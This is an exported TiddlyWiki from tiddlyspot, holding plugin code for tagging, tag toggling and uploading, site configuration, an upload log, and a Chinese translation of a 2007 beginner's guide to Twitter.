function(place) {\n var title = place.getAttribute("title");\n removeChildren(place);\n if (store.getTaggedTiddlers(title).length > 0) {\n var lingo = config.taggly.lingo;\n config.taggly.createListControl(place,title,"hideState");\n if (config.taggly.getTagglyOpt(title,"hideState") == "show") {\n createTiddlyElement(place,"span",null,"tagglyLabel",lingo.labels.label.format([title]));\n config.taggly.createListControl(place,title,"title");\n config.taggly.createListControl(place,title,"modified");\n config.taggly.createListControl(place,title,"created");\n config.taggly.createListControl(place,title,"listMode");\n config.taggly.createListControl(place,title,"excerpts");\n config.taggly.createListControl(place,title,"numCols");\n config.taggly.createTagglyList(place,title);\n }\n }\n }\n }\n },\n\n // todo fix these up a bit\n styles: [\n"/*{{{*/",\n"/* created by TagglyTaggingPlugin */",\n".tagglyTagging { padding-top:0.5em; }",\n".tagglyTagging li.listTitle { display:none; }",\n".tagglyTagging ul {",\n" margin-top:0px; padding-top:0.5em; padding-left:2em;",\n" margin-bottom:0px; padding-bottom:0px;",\n"}",\n".tagglyTagging { vertical-align: top; margin:0px; padding:0px; }",\n".tagglyTagging table { margin:0px; padding:0px; }",\n".tagglyTagging .button { display:none; margin-left:3px; margin-right:3px; }",\n".tagglyTagging .button, .tagglyTagging .hidebutton {",\n" color:[[ColorPalette::TertiaryLight]]; font-size:90%;",\n" border:0px; padding-left:0.3em;padding-right:0.3em;",\n"}",\n".tagglyTagging .button:hover, .hidebutton:hover {",\n" background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]];",\n"}",\n".selected .tagglyTagging .button { display:inline; }",\n".tagglyTagging .hidebutton { color:[[ColorPalette::Background]]; }",\n".selected .tagglyTagging .hidebutton { color:[[ColorPalette::TertiaryLight]] }",\n".tagglyLabel { color:[[ColorPalette::TertiaryMid]]; font-size:90%; }",\n".tagglyTagging ul {padding-top:0px; padding-bottom:0.5em; margin-left:1em; }",\n".tagglyTagging ul ul {list-style-type:disc; margin-left:-1em;}",\n".tagglyTagging ul ul li {margin-left:0.5em; }",\n".editLabel { font-size:90%; padding-top:0.5em; }",\n".tagglyTagging .commas { padding-left:1.8em; }",\n"/* not technically tagglytagging but will put them here anyway */",\n".tagglyTagged li.listTitle { display:none; }",\n".tagglyTagged li { display: inline; font-size:90%; }",\n".tagglyTagged ul { margin:0px; padding:0px; }",\n".excerpt { color:[[ColorPalette::TertiaryMid]]; }",\n"/*}}}*/",\n ""].join("\sn"),\n\n init: function() {\n merge(config.macros,this.macros);\n config.shadowTiddlers["TagglyTaggingStyles"] = this.styles;\n store.addNotification("TagglyTaggingStyles",refreshStyles);\n }\n};\n\nconfig.taggly.init();\n\n//}}}\n\n
/***\n| Name|ToggleTagPlugin|\n| Description|Makes a checkbox which toggles a tag in a tiddler|\n| Version|3.0 ($Rev: 1845 $)|\n| Date|$Date: 2007-03-16 15:19:22 +1000 (Fri, 16 Mar 2007) $|\n| Source|http://tiddlyspot.com/mptw/#ToggleTagMacro|\n| Author|Simon Baird <simon.baird@gmail.com>|\n| License|http://mptw.tiddlyspot.com/#TheBSDLicense|\n!Usage\n{{{<<toggleTag }}}//{{{TagName TiddlerName LabelText}}}//{{{>>}}}\n* TagName - the tag to be toggled, default value "checked"\n* TiddlerName - the tiddler to toggle the tag in, default value the current tiddler\n* LabelText - the text (gets wikified) to put next to the check box, default value is '{{{[[TagName]]}}}' or '{{{[[TagName]] [[TiddlerName]]}}}'\n(If a parameter is '.' then the default will be used)\n\nExamples:\n\n|Code|Description|Example|h\n|{{{<<toggleTag>>}}}|Toggles the default tag (checked) in this tiddler|<<toggleTag>>|\n|{{{<<toggleTag TagName>>}}}|Toggles the TagName tag in this tiddler|<<toggleTag TagName>>|\n|{{{<<toggleTag TagName TiddlerName>>}}}|Toggles the TagName tag in the TiddlerName tiddler|<<toggleTag TagName TiddlerName>>|\n|{{{<<toggleTag TagName TiddlerName 'click me'>>}}}|Same but with custom label|<<toggleTag TagName TiddlerName 'click me'>>|\n|{{{<<toggleTag . . 'click me'>>}}}|dot means use default value|<<toggleTag . . 'click me'>>|\nNotes:\n* If TiddlerName doesn't exist it will be silently created\n* Set label to '-' to specify no label\n* See also http://mgtd-alpha.tiddlyspot.com/#ToggleTag2\n\n!Known issues\n* Doesn't smoothly handle the case where you toggle a tag in a tiddler that is current open for editing\n\n***/\n//{{{\n\nmerge(config.macros,{\n\n toggleTag: {\n\n doRefreshAll: true,\n createIfRequired: true,\n shortLabel: "[[%0]]",\n longLabel: "[[%0]] [[%1]]",\n\n handler: function(place,macroName,params,wikifier,paramString,tiddler) {\n var tag = (params[0] && params[0] != '.') ? params[0] : "checked";\n var title = (params[1] && params[1] != '.') ? params[1] : tiddler.title;\n var defaultLabel = (title == tiddler.title ? this.shortLabel : this.longLabel);\n var label = (params[2] && params[2] != '.') ? params[2] : defaultLabel;\n label = (label == '-' ? '' : label);\n var theTiddler = title == tiddler.title ? tiddler : store.getTiddler(title);\n var cb = createTiddlyCheckbox(place, label.format([tag,title]), theTiddler && theTiddler.isTagged(tag), function(e) {\n if (!store.tiddlerExists(title)) {\n if (config.macros.toggleTag.createIfRequired) {\n var content = store.getTiddlerText(title); // just in case it's a shadow\n store.saveTiddler(title,title,content?content:"",config.options.txtUserName,new Date(),null);\n }\n else \n return false;\n }\n store.setTiddlerTag(title,this.checked,tag);\n return true;\n });\n }\n }\n});\n\n//}}}\n\n
/***\nRequired by Tiddlyspot\n***/\n//{{{\n\nconfig.options.chkHttpReadOnly = false; // make it so you can by default see edit controls via http\n\nif (window.location.protocol != "file:")\n config.options.chkGTDLazyAutoSave = false; // disable autosave in d3\n\nconfig.tiddlyspotSiteId = 'ad062';\n\n// probably will need to redo this for TW 2.2\nwith (config.shadowTiddlers) {\n SiteUrl = 'http://'+config.tiddlyspotSiteId+'.tiddlyspot.com';\n SideBarOptions = SideBarOptions.replace(/(<<saveChanges>>)/,"$1<<tiddler TspotSidebar>>");\n OptionsPanel = OptionsPanel.replace(/^/,"<<tiddler TspotOptions>>");\n DefaultTiddlers = DefaultTiddlers.replace(/^/,"[[Welcome to Tiddlyspot]] ");\n MainMenu = MainMenu.replace(/^/,"[[Welcome to Tiddlyspot]] ");\n}\n\nmerge(config.shadowTiddlers,{\n\n'Welcome to Tiddlyspot':[\n "This document is a ~TiddlyWiki from tiddlyspot.com. A ~TiddlyWiki is an electronic notebook that is great for managing todo lists, personal information, and all sorts of things.",\n "",\n "@@font-weight:bold;font-size:1.3em;color:#444; //What now?// @@ Before you can save any changes, you need to enter your password in the form below. Then configure privacy and other site settings at your [[control panel|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/controlpanel]] (your control panel username is //" + config.tiddlyspotSiteId + "//).",\n "<<tiddler TspotControls>>",\n "See also GettingStarted.",\n "",\n "@@font-weight:bold;font-size:1.3em;color:#444; //Working online// @@ You can edit this ~TiddlyWiki right now, and save your changes using the \s"save to web\s" button in the column on the right.",\n "",\n "@@font-weight:bold;font-size:1.3em;color:#444; //Working offline// @@ A fully functioning copy of this ~TiddlyWiki can be saved onto your hard drive or USB stick. You can make changes and save them locally without being connected to the Internet. When you're ready to sync up again, just click \s"upload\s" and your ~TiddlyWiki will be saved back to tiddlyspot.com.",\n "",\n "@@font-weight:bold;font-size:1.3em;color:#444; //Help!// @@ Find out more about ~TiddlyWiki at [[TiddlyWiki.com|http://tiddlywiki.com]]. Also visit [[TiddlyWiki Guides|http://tiddlywikiguides.org]] for documentation on learning and using ~TiddlyWiki. New users are especially welcome on the [[TiddlyWiki mailing list|http://groups.google.com/group/TiddlyWiki]], which is an excellent place to ask questions and get help. If you have a tiddlyspot related problem email [[tiddlyspot support|mailto:support@tiddlyspot.com]].",\n "",\n "@@font-weight:bold;font-size:1.3em;color:#444; //Enjoy :)// @@ We hope you like using your tiddlyspot.com site. Please email [[feedback@tiddlyspot.com|mailto:feedback@tiddlyspot.com]] with any comments or suggestions."\n].join("\sn"),\n\n'TspotControls':[\n "| tiddlyspot password:|<<option pasUploadPassword>>|",\n "| site management:|<<upload http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/store.cgi index.html . . " + config.tiddlyspotSiteId + ">>//(requires tiddlyspot password)//<<br>>[[control panel|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/controlpanel]], [[download (go offline)|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/download]]|",\n "| links:|[[tiddlyspot.com|http://tiddlyspot.com/]], [[FAQs|http://faq.tiddlyspot.com/]], [[announcements|http://announce.tiddlyspot.com/]], [[blog|http://tiddlyspot.com/blog/]], email [[support|mailto:support@tiddlyspot.com]] & [[feedback|mailto:feedback@tiddlyspot.com]], [[donate|http://tiddlyspot.com/?page=donate]]|"\n].join("\sn"),\n\n'TspotSidebar':[\n "<<upload http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/store.cgi index.html . . " + config.tiddlyspotSiteId + ">><html><a href='http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/download' class='button'>download</a></html>"\n].join("\sn"),\n\n'TspotOptions':[\n "tiddlyspot password:",\n "<<option pasUploadPassword>>",\n ""\n].join("\sn")\n\n});\n//}}}\n
<html>\n <h3 ><a href="http://www.wappblog.com/entry/898.html" rel="bookmark" title='Permanent Link to "译文：Twitter新手手册"'>译文：Twitter新手手册</a></h3>\n\n\n</p></td></tr></table> <div class="postHeader">\n<div class="byline">原文作者：<span class="author"><a href="http://www.webware.com/8300-1_109-2.html?authorId=173&tag=blog">Rafe Needleman</a> 译者：<a href="http://www.wappblog.com/" target="_blank">Riku</a><br/>原文链接：<a href="http://www.webware.com/8301-1_109-9697867-2.html?tag=blog">Newbie’s guide to Twitter</a></span></div>\n\n<p><!-- end of byline --></div>\n<p><!-- end of postHeader --></p>\n<div class="entry"><br/></div>\n<p class="entry">假如你至今还未使用<a href="http://twitter.com/" target="_blank">Twitter</a>的话，你也许会感觉错过了什么。Twitter是一个有趣及实用的，基于组或朋友之间的实时信息系统。不过它看上去并不是十分容易使用，而这篇文章就是这个新平台的新手快速使用手册，虽然这篇文章无法叙述到Twitter的每一个功能，但它应该可以帮助你学会如何开始使用它。</p>\n<div class="entry"><strong>什么是Twitter?</strong></div>\n<p><img src="http://www.wappblog.com/wp-content/uploads/2007/03/2007-03-19-145315-tn.jpg" style="DISPLAY: inline; FLOAT: left; WIDTH: 111px; HEIGHT: 30px" title="2007-03-19_145315.png" height="30" width="111" alt="2007-03-19_145315.png" id="urn:zoundry:jid:2007-03-19_145315.png"/>Twitter是一个可让你播报短消息给你的朋友或”followers（跟随者）”的一个在线服务，它也同样可允许你指定哪个你想跟随的Twitter用户，这样你可以在一个页面上就能读取他们发布的信息。</p>\n<div class="entry"><img src="http://www.wappblog.com/wp-content/uploads/2007/03/2007-03-19-154107-tn.jpg" style="DISPLAY: inline; FLOAT: right; WIDTH: 250px; HEIGHT: 150px" title="2007-03-19_154107.png" height="150" width="250" alt="2007-03-19_154107.png" id="urn:zoundry:jid:2007-03-19_154107.png"/>Twitter最初计划是在手机上使用，并且与电脑一样方便使用。所有的Twitter消息都被限制在140个字符之内，因此每一条消息都可以作为一条SMS短消息发送。这就是Twitter迷人之处的一部分。</div>\n<p>Twitter对于组织严密的小组来说是非常有用的（尽管Twitter上也同样存大着数量相当大的乌合之众）。假如你跟随你的朋友，并且他们还跟随着另外的人，你就可以进行快速沟通。从概念上来看，Twitter与<a href="http://www.dodgeball.com/" target="_blank">DodgeBall</a>非常的类似，但它更容易使用。</p>\n\n<p>假如你在Twitter中输入一个项目，它们可以是私有的，只有当你的朋友获得你的允许才能查看，或者也可以是公开的，也就是说所有知道你Twitter ID的人都可以读取或订阅你发布的消息。</p>\n<p>另外还有很重要的一点就是，Twitter是完全免费的。</p>\n<p><strong>怎样开始？</strong></p>\n<p class="entry">进入<a href="http://twitter.com/" target="_blank">Twitter.com</a>点击”Join for free”。最好是利用你的真实姓名或常用ID来注册，否则你的朋友无法容易的找到你，另外上传一个照片同样对你有所帮助。需注意的是，假如你选择”Protect my updates”选项的话，其他人就无法在没有取得你认证的情况查看你的信息。</p>\n<p style="TEXT-ALIGN: center" class="entry"><img src="http://www.wappblog.com/wp-content/uploads/2007/03/2007-03-20-114507-tn.jpg" style="DISPLAY: inline; WIDTH: 223px; HEIGHT: 103px" title="2007-03-20_114507.png" height="103" width="223" alt="2007-03-20_114507.png" id="urn:zoundry:jid:2007-03-20_114507.png"/></p>\n<p style="TEXT-ALIGN: center" class="entry">\n<a id="more-898"></a>\n\n</p>\n<p class="entry">现在，当你拥有一个Twitter帐号后，就可把你的用户名告诉你的朋友，或者发送你位于Twitter个人页面链接给他们。当然，所有的用户都会有自已的个人页面，形式的是这样的：twitter.com/用户名(例如我的页面是：<a href="http://twitter.com/rafe" class="external-link">twitter.com/rafe</a>.)。</p>\n<p class="entry">[译者Riku的：<a href="http://twitter.com/riku">http://twitter.com/riku</a>]</p>\n<p class="entry"><strong>与你的手机和IM帐号挂钩</strong></p>\n<p class="entry">假如当你没有使用电脑或没有浏览网页的时候，Twitter服务依然是可以为你工作的。一旦当你注册后，你就可通过手机或IM帐号与Twitter链接。进入 SEETINGS–>PHONE AND IM选项，连接手机和IM程序到Twitter帐号中是非常简单的。需注意的是，你会在手机上看到一条消息或在IM上接收到消息，同时Twitter个人页面上也会留下相应的消息。</p>\n<p style="TEXT-ALIGN: center" class="entry"><img src="http://www.wappblog.com/wp-content/uploads/2007/03/2007-03-20-123520-tn.jpg" style="DISPLAY: inline; WIDTH: 314px; HEIGHT: 193px" title="2007-03-20_123520.png" height="193" width="314" alt="2007-03-20_123520.png" id="urn:zoundry:jid:2007-03-20_123520.png"/></p>\n<p class="entry">你可以在一个Twitter消息后面进行回复，这是非常有趣的，但如果你有很多跟随者的话，这也许会影响到其他人，所以你可以在通知选项中选择”Direct Message”。这样的话，当其他用户发送直接消息给你一个人的时候，你仍然可以在你的手机或IM中收到提醒。</p>\n\n<p class="entry"><strong>发送Twitter消息</strong></p>\n<p class="entry">你可以从任何你注册过的设备中发送Twitter消息。</p>\n<p class="entry">(1) 在Web页上，在位于页面顶部的输入窗口中输入消息。</p>\n<p class="entry"><img src="http://www.wappblog.com/wp-content/uploads/2007/03/twitter-send40404-90x82-tn.jpg" style="DISPLAY: inline; FLOAT: right; WIDTH: 90px; HEIGHT: 82px" title="twitter-send40404_90x82.jpg" height="82" width="90" alt="twitter-send40404_90x82.jpg" id="urn:zoundry:jid:twitter-send40404_90x82.jpg"/>(2) 在手机中，发送一条SMS短消息到40404，由于你的手机呼叫ID已绑定到你的Twitter帐户中，因此系统可以自动识别出这是来自于你的消息。</p>\n<p class="entry">(3) 在IM中，假如你使用的是AOL的话发送消息到 Twitter IM，如果是Gtalk或Jabber的话，发送到<a href="mailto:twitter@twiiter.com">twitter@twiiter.com</a>中。</p>\n<p class="entry">在这些案例中，你所有的跟随者（followers）将会在他们的个人Twitter页面看到你发送的消息，或者在他们的移动设备中也可以看到。</p>\n<p class="entry"><strong>跟随或链接朋友</strong><br/><br/>当你学会如何在Twitter系统中发送消息后，你的朋友就可以跟踪你的更新了，下面教你如何查看其他人的消息。</p>\n\n<p class="entry"><em>在网页上</em>：添加一位朋友，前提是你必须先登录你的帐户。然后到朋友的Twitter个人页面上的”Action”栏中点”Add”链接。如果想要搜索用户页面的话，在你的个人页面上使用搜索栏，可通过用户名、Email地址及手机号来查找。</p>\n<p style="TEXT-ALIGN: center" class="entry"><img src="http://www.wappblog.com/wp-content/uploads/2007/03/2007-03-20-124610-tn.jpg" title="2007-03-20_124610.png" height="45" width="174" alt="2007-03-20_124610.png" id="urn:zoundry:jid:2007-03-20_124610.png"/></p>\n<p style="TEXT-ALIGN: center" class="entry"><img src="http://www.wappblog.com/wp-content/uploads/2007/03/2007-03-20-124739-tn.jpg" title="2007-03-20_124739.png" height="50" width="169" alt="2007-03-20_124739.png" id="urn:zoundry:jid:2007-03-20_124739.png"/></p>\n<p class="entry"><img src="http://www.wappblog.com/wp-content/uploads/2007/03/2007-03-20-130035-tn.jpg" style="DISPLAY: inline; FLOAT: right; WIDTH: 159px; HEIGHT: 147px" title="2007-03-20_130035.png" height="147" width="159" alt="2007-03-20_130035.png" id="urn:zoundry:jid:2007-03-20_130035.png"/>一旦你点击”Add”后，假如该用户设置的是公开访问，那么你就可以在你的联系人列表中看到他的头像。如果该用户设置的是私有属性的话，系统会发送一个友好请求，当被该用户允许后你才会看到他的更新。</p>\n<p>你也同样可以查看你的朋友的跟随者，通过把鼠标放在位于右侧栏的头像上就可得知其用户名。假你你在你朋友的跟随者上点击的话，就会进入他们的用户页面，同样你可以添加他们到你的朋友列表中。</p>\n<p><br/>你也可以查看其他用户的来自于朋友的消息，只要点击消息窗口下的”With Friends”标签<img src="http://www.wappblog.com/wp-content/uploads/2007/03/2007-03-20-131408-tn.jpg" style="DISPLAY: inline; FLOAT: right; WIDTH: 232px; HEIGHT: 95px" title="2007-03-20_131408.png" height="95" width="232" alt="2007-03-20_131408.png" id="urn:zoundry:jid:2007-03-20_131408.png"/>就可以了，或者你也可以点击”Previous”标签，从而只查看他个人的消息。<br/>\n\n<p class="entry"><em>在手机或IM上</em>：登录到手机或IM帐户中，发送一个 follow <em>username</em> 命令，这样就可接受来自于该用户的消息了。你也可以通过发送短消息 add <em>phonenumber</em> 到40404来邀请朋友，同时你也会成为该用户的跟随者。如果该用户还没注册的话，他就会接受到邀请信息后加入进来。</p>\n<p style="TEXT-ALIGN: left" class="entry">在Web浏览器中管理你的朋友是非常方便的，但如果你想在手机中进行管理的话同样是非常方便的，具体可查看<a href="http://help.twitter.com/index.php?pg=kb.page&id=10" target="_blank">Twitter的帮助页</a>，可获取更多的命令及其详情。</p>\n<p class="entry"><strong>显示数字的含义</strong><br/><br/><img src="http://www.wappblog.com/wp-content/uploads/2007/03/2007-03-20-132654-tn.jpg" style="DISPLAY: inline; FLOAT: right; WIDTH: 167px; HEIGHT: 184px" title="2007-03-20_132654.png" height="184" width="167" alt="2007-03-20_132654.png" id="urn:zoundry:jid:2007-03-20_132654.png"/>在你的Twitter页面上有一些数字，这些都是非常重要的描述：</p>\n<p class="entry">1、followers前面的数字表示有多少人正在跟随（follow）你。</p>\n\n<p class="entry">2、friends前面的数字表示你跟随(follow)了多少人。</p>\n<p class="entry">3、Direct Messages前面的数字表示你接收到了多少来自于朋友的直接发送的消息，点击该链接就可查看到这些消息的详情。</p>\n<p class="entry">4、Favorites前面的数字表示你收藏了多少条目，点击该链接就可看到每条收藏条目。我们可以看到，在每条消息后面都有一个星号”<img src="http://www.wappblog.com/wp-content/uploads/2007/03/2007-03-20-133231-tn.jpg" title="2007-03-20_133231.png" height="18" width="16" alt="2007-03-20_133231.png" id="urn:zoundry:jid:2007-03-20_133231.png"/>“图标，当点击该星号后说明这条消息就是你收藏的了。</p>\n<p class="entry">5、Updates前面的数字表示你发送过多少条消息。</p>\n<p><br/>\n<p><strong>点对点消息传递</strong><br/><br/>你可以使用 Direct 命令来直接发送消息给其它用户，输入 d username message 命令。在你的个人页面上，点击Direct Messages后，上面的消息输入框就具备了直接到指定朋友的功能，你可以选择其中的一个用户，进行直接发送。</p>\n<p style="TEXT-ALIGN: center"><img src="http://www.wappblog.com/wp-content/uploads/2007/03/2007-03-20-141141-tn.jpg" style="DISPLAY: inline; WIDTH: 378px; HEIGHT: 190px" title="2007-03-20_141141.png" height="190" width="378" alt="2007-03-20_141141.png" id="urn:zoundry:jid:2007-03-20_141141.png"/></p>\n<p><strong>关闭Twitter</strong></p>\n<p>Twitter消息也许会骚扰到你，如果你想关闭它的话，那么你可发送一个off , Sleep 或 Stop命令，如果想让他恢复过来的话可以发送 on, Wake ,或 start命令。</p>\n\n<p><strong>高级功能</strong></p>\n<p>你可以在Twitter主页上应用你自已的设计方案。直接了当的说，我们的建议是避免在背景图上使用”tile”选项，除非你对Myspace式设计方案有所偏好。</p>\n<p>Twitter同样可以利用第三方程序，这样就可以运行在你的桌面或Widget/Gadget引擎上了。见我们之前的文章：<a href="http://www.webware.com/8301-1_109-9697006-2.html" class="external-link">Six ways to improve Twitter</a>。</p>\n<p><strong>下列是一些有价值的Twitterers</strong></p>\n<p>除了你的朋友，你还可以跟随这些著名的（或有用的）Twitterers。注意，这些人有可能还在拿Twitter做实验，因此我们无法担保这些用户的长期质量或更新频率：</p>\n<ul>\n<li><a href="http://twitter.com/cnnbrk" class="external-link">CNN</a>: CNN上的热文。</li>\n\n<li><a href="http://twitter.com/johnedwards" class="external-link">John Edwards</a>:</li>\n<li><a href="http://twitter.com/scobleizer" class="external-link">Robert Scoble</a>: .</li>\n<li><a href="http://twitter.com/ev" class="external-link">Evan Williams</a>: Twitter的创建者.</li>\n<li><a href="http://twitter.com/rafe" class="external-link">Rafe Needleman</a>: 此文的原作者.</li>\n<li><a href="http://twitter.com/caroliiine" class="external-link">Caroline McCarthy</a>: 另一位Webware作者.</li>\n</ul>\n<p>注：目前Twitter的IM功能处于维护状态，还无法使用。</p>\n\n<a href="http://www.wangtam.com/50226711/autotwit_twitter_e_65134.php">AutoTwit</a> 是 Twitter 的自动发布工具，<a href="http://www.wangtam.com/50226711/twittermap_ae_twitter_c_65476.php">Twittermap</a> 是和电子地图的 Mashup，<a href="http://www.wangtam.com/50226711/twitter_search_65730.php">Twitter Search</a> 则是一个简易的针对 Twitter 的搜索引擎，还有 <a href="http://www.wangtam.com/50226711/twitteroo_twitter_c_65842.php">Twitteroo</a> 这一个 Twitter 客户端，以及昨天提到的 Firefox 的 Twitter 实用扩展 <a href="http://www.wangtam.com/50226711/twitterbar_firefox_c_twitter_c_65862.php">Twitterbar</a>，可以方便用户把正在浏览的网站发布到 Twitter。</div> <a name="Continue"></a> <p>外国人很喜欢搞 Top 榜，随处可见这样那样的榜单，很多热门文章也多和排行榜有关。<a href="http://www.twitterholic.com/">Twitterholic</a> 就是一个 Twitter 热榜，排行的依据是 Follower 数量。这里简述一下，好友是你主动加别人，Follower 则是别人加你，两种不同的趋向行为，这个排行榜也就是比谁更受关注。呵呵，反正大部分用户使用 Twitter 是因为无聊中的无聊，只要 Twitter 不嗝屁，大家都可以在上面打屁了。 :-)\n</html>
| !date | !user | !location | !storeUrl | !uploadDir | !toFilename | !backupdir | !origin |\n| 24/3/2007 16:48:34 | Gonse | [[/|http://ad062.tiddlyspot.com/]] | [[store.cgi|http://ad062.tiddlyspot.com/store.cgi]] | . | index.html | . |\n| 24/3/2007 16:49:11 | ad062 | [[/|http://ad062.tiddlyspot.com/]] | [[store.cgi|http://ad062.tiddlyspot.com/store.cgi]] | . | index.html | . |\n| 24/3/2007 17:1:2 | ad062 | [[/|http://ad062.tiddlyspot.com/]] | [[store.cgi|http://ad062.tiddlyspot.com/store.cgi]] | . | index.html | . |\n| 24/3/2007 17:2:16 | ad062 | [[/|http://ad062.tiddlyspot.com/]] | [[store.cgi|http://ad062.tiddlyspot.com/store.cgi]] | . | index.html | . | Ok |\n| 24/3/2007 17:4:11 | ad062 | [[/|http://ad062.tiddlyspot.com/]] | [[store.cgi|http://ad062.tiddlyspot.com/store.cgi]] | . | index.html | . |\n| 24/3/2007 17:6:10 | ad062 | [[/|http://ad062.tiddlyspot.com/]] | [[store.cgi|http://ad062.tiddlyspot.com/store.cgi]] | . | index.html | . |\n| 24/3/2007 17:10:35 | ad062 | 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/***\n|''Name:''|UploadPlugin|\n|''Description:''|Save to web a TiddlyWiki|\n|''Version:''|3.4.5|\n|''Date:''|Oct 15, 2006|\n|''Source:''|http://tiddlywiki.bidix.info/#UploadPlugin|\n|''Documentation:''|http://tiddlywiki.bidix.info/#UploadDoc|\n|''Author:''|BidiX (BidiX (at) bidix (dot) info)|\n|''License:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|\n|''~CoreVersion:''|2.0.0|\n|''Browser:''|Firefox 1.5; InternetExplorer 6.0; Safari|\n|''Include:''|config.lib.file; config.lib.log; config.lib.options; PasswordTweak|\n|''Require:''|[[UploadService|http://tiddlywiki.bidix.info/#UploadService]]|\n***/\n//{{{\nversion.extensions.UploadPlugin = {\n major: 3, minor: 4, revision: 5, \n date: new Date(2006,9,15),\n source: 'http://tiddlywiki.bidix.info/#UploadPlugin',\n documentation: 'http://tiddlywiki.bidix.info/#UploadDoc',\n author: 'BidiX (BidiX (at) bidix (dot) info',\n license: '[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D]]',\n coreVersion: '2.0.0',\n browser: 'Firefox 1.5; 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\n};\n//}}}\n////===\n\n////+++!![config.lib.options]\n\n//{{{\nif (!config.lib) config.lib = {};\nif (!config.lib.options) config.lib.options = {\n author: 'BidiX',\n version: {major: 0, minor: 1, revision: 0}, \n date: new Date(2006,3,9)\n};\n\nconfig.lib.options.init = function (name, defaultValue) {\n if (!config.options[name]) {\n config.options[name] = defaultValue;\n saveOptionCookie(name);\n }\n};\n//}}}\n////===\n\n////+++!![PasswordTweak]\n\n//{{{\nversion.extensions.PasswordTweak = {\n major: 1, minor: 0, revision: 3, date: new Date(2006,8,30),\n type: 'tweak',\n source: 'http://tiddlywiki.bidix.info/#PasswordTweak'\n};\n//}}}\n/***\n!!config.macros.option\n***/\n//{{{\nconfig.macros.option.passwordCheckboxLabel = "Save this password on this computer";\nconfig.macros.option.passwordType = "password"; // password | text\n\nconfig.macros.option.onChangeOption = function(e)\n{\n var opt = this.getAttribute("option");\n var elementType,valueField;\n if(opt) {\n switch(opt.substr(0,3)) {\n case "txt":\n elementType = "input";\n valueField = "value";\n break;\n case "pas":\n elementType = "input";\n valueField = "value";\n break;\n case "chk":\n elementType = "input";\n valueField = "checked";\n break;\n }\n config.options[opt] = this[valueField];\n saveOptionCookie(opt);\n var nodes = document.getElementsByTagName(elementType);\n for(var t=0; t<nodes.length; t++) \n {\n var optNode = nodes[t].getAttribute("option");\n if (opt == optNode) \n nodes[t][valueField] = this[valueField];\n }\n }\n return(true);\n};\n\nconfig.macros.option.handler = function(place,macroName,params)\n{\n var opt = params[0];\n if(config.options[opt] === undefined) {\n return;}\n var c;\n switch(opt.substr(0,3)) {\n case "txt":\n c = document.createElement("input");\n c.onkeyup = this.onChangeOption;\n c.setAttribute ("option",opt);\n c.className = "txtOptionInput "+opt;\n place.appendChild(c);\n c.value = config.options[opt];\n break;\n case "pas":\n // input password\n c = document.createElement ("input");\n c.setAttribute("type",config.macros.option.passwordType);\n c.onkeyup = this.onChangeOption;\n c.setAttribute("option",opt);\n c.className = "pasOptionInput "+opt;\n place.appendChild(c);\n c.value = config.options[opt];\n // checkbox link with this password "save this password on this computer"\n c = document.createElement("input");\n c.setAttribute("type","checkbox");\n c.onclick = this.onChangeOption;\n c.setAttribute("option","chk"+opt);\n c.className = "chkOptionInput "+opt;\n place.appendChild(c);\n c.checked = config.options["chk"+opt];\n // text savePasswordCheckboxLabel\n place.appendChild(document.createTextNode(config.macros.option.passwordCheckboxLabel));\n break;\n case "chk":\n c = document.createElement("input");\n c.setAttribute("type","checkbox");\n c.onclick = this.onChangeOption;\n c.setAttribute("option",opt);\n c.className = "chkOptionInput "+opt;\n place.appendChild(c);\n c.checked = config.options[opt];\n break;\n }\n};\n//}}}\n/***\n!! Option cookie stuff\n***/\n//{{{\nwindow.loadOptionsCookie_orig_PasswordTweak = window.loadOptionsCookie;\nwindow.loadOptionsCookie = function()\n{\n var cookies = document.cookie.split(";");\n for(var c=0; c<cookies.length; c++) {\n var p = cookies[c].indexOf("=");\n if(p != -1) {\n var name = cookies[c].substr(0,p).trim();\n var value = cookies[c].substr(p+1).trim();\n switch(name.substr(0,3)) {\n case "txt":\n config.options[name] = unescape(value);\n break;\n case "pas":\n config.options[name] = unescape(value);\n break;\n case "chk":\n config.options[name] = value == "true";\n break;\n }\n }\n }\n};\n\nwindow.saveOptionCookie_orig_PasswordTweak = window.saveOptionCookie;\nwindow.saveOptionCookie = function(name)\n{\n var c = name + "=";\n switch(name.substr(0,3)) {\n case "txt":\n c += escape(config.options[name].toString());\n break;\n case "chk":\n c += config.options[name] ? "true" : "false";\n // is there an option link with this chk ?\n if (config.options[name.substr(3)]) {\n saveOptionCookie(name.substr(3));\n }\n break;\n case "pas":\n if (config.options["chk"+name]) {\n c += escape(config.options[name].toString());\n } else {\n c += "";\n }\n break;\n }\n c += "; expires=Fri, 1 Jan 2038 12:00:00 UTC; path=/";\n document.cookie = c;\n};\n//}}}\n/***\n!! Initializations\n***/\n//{{{\n// define config.options.pasPassword\nif (!config.options.pasPassword) {\n config.options.pasPassword = 'defaultPassword';\n window.saveOptionCookie('pasPassword');\n}\n// since loadCookies is first called befor password definition\n// we need to reload cookies\nwindow.loadOptionsCookie();\n//}}}\n////===\n\n////+++!![config.macros.upload]\n\n//{{{\nconfig.macros.upload = {\n accessKey: "U",\n formName: "UploadPlugin",\n contentType: "text/html;charset=UTF-8",\n defaultStoreScript: "store.php"\n};\n\n// only this two configs need to be translated\nconfig.macros.upload.messages = {\n aboutToUpload: "About to upload TiddlyWiki to %0",\n backupFileStored: "Previous file backuped in %0",\n crossDomain: "Certainly a cross-domain isue: access to an other site isn't allowed",\n errorDownloading: "Error downloading",\n errorUploadingContent: "Error uploading content",\n fileLocked: "Files is locked: You are not allowed to Upload",\n fileNotFound: "file to upload not found",\n fileNotUploaded: "File %0 NOT uploaded",\n mainFileUploaded: "Main TiddlyWiki file uploaded to %0",\n passwordEmpty: "Unable to upload, your password is empty",\n urlParamMissing: "url param missing",\n rssFileNotUploaded: "RssFile %0 NOT uploaded",\n rssFileUploaded: "Rss File uploaded to %0"\n};\n\nconfig.macros.upload.label = {\n promptOption: "Save and Upload this TiddlyWiki with UploadOptions",\n promptParamMacro: "Save and Upload this TiddlyWiki in 